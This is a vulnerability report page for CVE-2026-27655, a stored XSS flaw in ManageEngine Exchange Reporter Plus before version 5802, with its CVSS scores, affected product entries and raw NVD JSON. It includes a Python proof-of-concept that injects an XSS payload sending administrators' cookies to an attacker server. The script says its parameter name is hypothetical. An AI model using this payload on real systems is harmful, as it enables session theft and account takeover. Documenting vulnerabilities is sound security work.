Security Vulnerability Report
中文
CVE-2026-27655 CVSS 7.3 HIGH

CVE-2026-27655

Published: 2026-04-03 13:17:08
Last Modified: 2026-04-03 18:10:24
Source: 0fc0942c-577d-436f-ae8e-945763c79b02

Description

Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Permissions Based on Mailboxes report.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:* - VULNERABLE
Zohocorp ManageEngine Exchange Reporter Plus < 5802

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target_url = "https://target-site/exchange-reports/showMailboxPermissions.do" # Attacker's session cookie (low privilege) cookies = { "JSESSIONID": "ATTACKER_SESSION_ID" } # Payload demonstrating Stored XSS # This payload attempts to steal cookies when an admin views the report xss_payload = '<img src=x onerror=fetch(\'http://attacker-server/?c=\'+document.cookie)>' # Data to be sent in the request # The specific parameter name 'mailboxName' is hypothetical based on the report description payload_data = { "mailboxName": xss_payload, "reportType": "permissions" } try: # Send the malicious request to store the payload response = requests.post(target_url, data=payload_data, cookies=cookies, verify=False) if response.status_code == 200: print("[+] Payload injected successfully.") print("[*] Wait for an administrator to view the 'Permissions Based on Mailboxes' report.") else: print(f"[-] Injection failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27655", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2026-04-03T13:17:07.903", "lastModified": "2026-04-03T18:10:23.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine Exchange Reporter Plus versions before 5802 are vulnerable to Stored XSS in Permissions Based on Mailboxes report."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8", "matchCriteriaId": "7A7FD58A-DC4B-4FBB-B20D-5050A0D321F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:-:*:*:*:*:*:*", "matchCriteriaId": "94D09BE3-96E1-432B-9882-D7DF3C070CE2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5800:*:*:*:*:*:*", "matchCriteriaId": "CCAB839F-E577-4CBB-9E43-DBC0BECFA8B1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_exchange_reporter_plus:5.8:5801:*:*:*:*:*:*", "matchCriteriaId": "53414E87-0848-4245-9D58-9A74E550E3CC"}]}]}], "references": [{"url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2026-27655.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}